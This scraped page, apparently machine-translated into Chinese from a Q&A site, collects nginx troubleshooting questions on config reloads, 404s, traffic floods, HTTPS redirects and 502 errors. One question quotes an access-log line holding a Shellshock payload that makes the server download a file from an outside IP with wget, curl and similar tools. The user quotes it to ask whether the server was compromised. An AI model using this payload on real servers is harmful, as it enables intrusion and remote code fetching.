Articles of nginx

在更改后自动重新加载configuration文件(nginx.conf等)

我一直忘记重新加载nginx设置, sudo service nginx reload ,而在/实验/学习configuration文件, nginx (和其他包括的configuration文件)。 有没有一种方法来实现这一点,Nginx重新加载configuration文件,下面的任何更改后: /etc/nginx/nginx.conf / etc / nginx / sites-available /(任何更改,删除,创build文件) / etc / nginx / sites-enabled /(任何更改,删除,创build文件) 你可能会认为我忘记重新加载是愚蠢/愚蠢的,但在新的实际学习和实验中,确实有足够的logging。

如何检查nginx根文件夹

我有一个非常基本的404错误: 说明:HTTP 404.您正在查找的资源(或其某个依赖项)可能已被删除,名称已更改或暂时不可用。 请检查以下URL并确保拼写正确。 详细信息:请求的url:/index.html 我不知道哪个完整的url最终被调用。 我的index.html是非常基本的: <html><body>hello</body></html> 我的configuration文件: server { listen 8045; server_name localhost; root /usr/share/nginx/asproot; access_log /var/log/nginx/asp.access.log; error_log /var/log/nginx/asp.error.log; location / { index index.html index.htm default.aspx Default.aspx; fastcgi_index Default.aspx; fastcgi_pass 127.0.0.1:9000; include /etc/nginx/fastcgi_params; } } nginx用户可以访问根文件夹并阅读index.html(我用sutesting过)。 在浏览器中加载: http://serverip:8045/index.html 那么是怎么回事? 我怎样才能看到最终的url被称为? 编辑 我发现问题来自fastcgi。 我读了几篇文章,但我迷路了! 为了避免历史悠久的长期问题,我放弃这一点,我会发表一个新的问题,一旦我将了解fastcgi与nginx的基本知识。 无论如何,我给一个configuration,最终的作品(见下面的答案)

无法从远程浏览器连接到Nginx(奇怪的问题)

对于Nginx我有一个很奇怪的问题,我无法从我的浏览器访问它。 我在我的电脑上安装了一个CentOS 7虚拟机,安装并configuration了Nginx,PHP-FPM和MariaDB。 Nginx的configuration如下: server { listen 80; server_name localhost; #charset koi8-r; #access_log /var/log/nginx/log/host.access.log main; location / { root /path/to/www index index.php; try_files $uri $uri/ /index.php?$args; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } # […]

高入站和出站networkingstream量

在过去的一天左右,其中一个实例消耗了大量的带宽。 这意味着我们已经接近我们的津贴(大致相同的入境和出境)。 看看日志,我能看到的唯一的事情是在nginx access.log中有相同的文本string,有很多400 172错误。 我已经改变了nginx到不同的端口,实现了fail2ban,但由于stream量来自不同的IP,这是行不通的。 我也有我们的VPS提供商来改变我们的VPS的IP。 Fail2ban目前正在断开所有连接到80端口,这是不理想的,因为我们想要使用这个端口。 我们能做些什么来改善这种状况吗? 如果我们正在降低可疑交通量,这还会计入我们的补贴吗? 更多信息 我设法通过更改nginx错误日志级别获得更多的细节。 似乎正在发生的唯一错误是cleint在读取客户端请求行时发送无效请求。 该域是新的,并没有被使用过(它是一个长期存在的领域之一,一个全新的子域)。 我将检查它是否使用相同的path。 还有什么原因,为什么只是因为入站的数据包被阻止,它的stream量越来越大?

粗略的nginx访问日志条目

在nginx访问日志中有很多条目。 我如何知道这些脚本的结果,以及我的服务器是否被盗用? 162.232.183.48 – – [14/Jan/2016:10:54:57 +0000] "GET /cgi-bin/php4 HTTP/1.1" 200 1494 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22 wget http://2 04.232.209.188/images/freshcafe/slice_30_192.png ; curl -O http://204.232.209.188/images/freshcafe/slice_30_192.png ; fetch http://204.232.209.188/images/freshcafe/slice_30_192.png ; lwp-download http://204.232 .209.188/images/freshcafe/slice_30_192.png ; GET http://204.232.209.188/images/freshcafe/slice_30_192.png ; lynx http://204.232.209.188/images/freshcafe/slice_30_192.png \x22);'" "-"

如何将所有http请求转发到https,而不用使用nginx打开letsencrypt

我使用Nginx作为Rstudio服务器和Shiny服务器的反向代理,用于保护与这些服务的连接。 我正在使用Letencrypt免费签名的证书。 我有这个条目让letsencrypt来validation我是谁我说我是谁。 server { listen 80 default_server; listen [::]:80 default_server ipv6only=on; root /usr/share/nginx/html; index index.html index.htm; # Make site accessible from http://localhost/ server_name mydomain.com; location ~ /.well-known { allow all; } } 我还有另一台server来侦听443和proxy_redirect到我的服务器。 一切工作正常。 我想要做的是类似的东西 server { listen 80; return 301 https://$host$request_uri; } 但我认为这将打破letsencrypt,所以我怎么有以上没有打破letsencryptvalidation?

阻止nginx中的默认服务器或通配符

我有两个域名: staging.abc.com和www.example.com指向我的DNS中相同的服务器IP。 我没有为staging.abc.com启用/可用的网站,但是我有一个用于www.example.com 。 但是,每当访问staging.abc.com ,它都指向www.example.com 。 这是我的conf 。 我的/etc/nginx/nginx.conf是默认的。 我没有改变任何东西。 我没有sites-available/default 。 它已被删除。 # sites-available/example server { listen 80; server_name example.com; return 301 http://www.example.com$request_uri; } server { listen 80; listen [::]:80; root /home/deployer/example; index index.php index.html index.htm; server_name www.example.com; location ~* .(jpg|jpeg|png|gif|ico|css|js|woff)$ { expires 30d; } location / { try_files $uri $uri/ /index.php?q=$uri&$args; } […]

来自本地networking的HTTP连接速度很快,从外部世界非常缓慢

我用nginx,MariaDB和ufw在Raspberry Pi中设置了一个Wordpress服务器。 我也设置了无IP服务。 当我从本地networking(192.168.0.173)访问服务器时,我得到了一个快速响应,但是当我尝试从外部世界访问时,响应非常缓慢(aarroyoc.noip.me)。 它加载,因为我可以在浏览器中看到标题栏,但它只是不断加载和加载。 我认为WordPress的不是问题,因为当我从本地networking访问速度很好。 我的路由器带宽不会成为问题,我通常运行游戏服务器,而我没有遇到过这样的问题。 我使用cURL下载了FrontPage,响应速度很快,所以问题可能出在浏览器上,但是我不知道networking如此之慢。 为什么我可以通过本地networking浏览器和networking以外的cURL获得快速响应,但在外部Internet浏览器上速度如此之慢? 编辑 做更多的testing我发现从外部networkingPHPInfo是快速的( http://aarroyoc.noip.me/phpinfo.php ),但Wordpress面板很慢( http://aarroyoc.noip.me/wp-admin/ )只从外面。

NGINX加载DOM,但返回502的图像和资产

我正在创build一个自定义的50x.html页面,但似乎无法从我的usr/share/nginx/html目录加载资源。 我认为问题在于我的应用程序的反向代理的上游设置。 我如何才能摆脱upstream: "http://127.0.0.1:1234"只有当从usr/share/nginx/html服务我的nginx静态文件(即当反向代理服务器closures时),但在所有其他设置使用上游(比如我的configuration是如何设置的)? Nginx错误日志: 2016/07/22 16:10:06 [error] 24000#0: *94 connect() failed (111: Connection refused) while connecting to upstream, client: <<client-ip-here>>, server: foo.com, request: "GET /img-1024.png HTTP/1.1", upstream: "http://127.0.0.1:1234/img-1024.png", host: "foo.com", referrer: "https://foo.com/logo.png" nginx.conf: upstream api { server 127.0.0.1:1234; } … error_page 501 502 503 /500.html; location = /500.html { root /usr/share/nginx/html; } … 我试过使用try_files: […]

Nginx不会在https上redirect

我想将所有请求redirect到https。 它现在适用于主页面,所以我试图让http://domain.com把我redirect到https。 但是,然后我去像http://domain.com/somematerials/presentation这样的子链接,它永远不会redirect我。 这是我的configuration。 server { listen 80; return 301 https://$host$request_uri; } server { listen 443; server_name my.domain.com; ssl on; ssl_certificate /path/ssl.crt; ssl_certificate_key /path/server.key; location / { root /home/uploader/datadir/; index index.html index.htm; } }